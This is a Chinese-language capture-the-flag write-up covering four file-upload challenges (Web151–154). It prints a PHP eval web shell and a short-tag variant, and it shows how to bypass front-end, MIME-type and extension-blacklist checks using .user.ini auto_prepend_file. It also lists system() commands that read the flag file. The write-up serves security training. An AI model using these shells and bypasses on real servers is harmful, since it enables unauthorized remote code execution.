Web151
进入界面:
 
审计:
提示是前台校验。
 存在图片上传。
思路:
先编写一个一句话木马文件:
//shell.php
<?php @eval($_POST[1]); ?>
既然是前端校验,我们查看页面源代码找到相关的校验内容:
 
 说明只允许上传.png后缀的文件。
 我们修改代码为允许上传.php文件:
  然后上传一句话木马文件:
然后上传一句话木马文件:
 进入shell.php文件,POST传参
进入shell.php文件,POST传参1=system("ls ../");查看上一级目录,发现flag.php
1=system("cat ../fla*");
得到flag.
Web152
进入界面:
 
审计:
在前端校验的基础上,增加了对请求头中Content-Type的验证。也称MIME验证。
思路:
先绕过前端验证。
 可以和上一题一样修改前端代码,也可以将shell.php文件的后缀名修改为.png通过前端验证,然后抓包将文件的后缀名修改回去。也绕过了前端验证。
 
 由于我们是以.png后缀上传的,所以Content-Type的值是image/png,符合服务端要求,文件成功上传。
 
 执行系统命令:
1=system("tac ../fl*");
得到flag.
Web153
进入页面:
 
审计:
前端验证+MIME验证+黑名单
思路:
上传.png后缀的木马,抓包修改回.php后缀:
  发现文件不合规,说明后端对.php后缀名进行了过滤。
发现文件不合规,说明后端对.php后缀名进行了过滤。
我们可以使用.user.ini文件,文件内容为:
auto_prepend_file=shell.png
作用为:在访问主页文件时,会自动包含shell.png文件,将其文件内容当做php代码执行。
 先将文件名修改为.user.ini.png,绕过前端验证,上传该文件,然后抓包修改:
 
 然后用同样的方式绕过前端验证上传shell.png文件。
 这时候我们在/upload处就可以实现RCE。也可以使用蚁剑连接:
 

 找到flag.
Web154
进入界面:
 
审计:
前端验证+MIME验证+黑名单
思路:
上传.user.ini文件
  上传shell.png文件
上传shell.png文件
  提示文件内容不合规。
提示文件内容不合规。
<?php @eval($_POST[1]);?> //文件内容//怀疑是过滤了php,利用短标签绕过
<?= @eval($_POST[1]);?>
 上传成功。蚁剑连接:
上传成功。蚁剑连接:
 
 得到flag.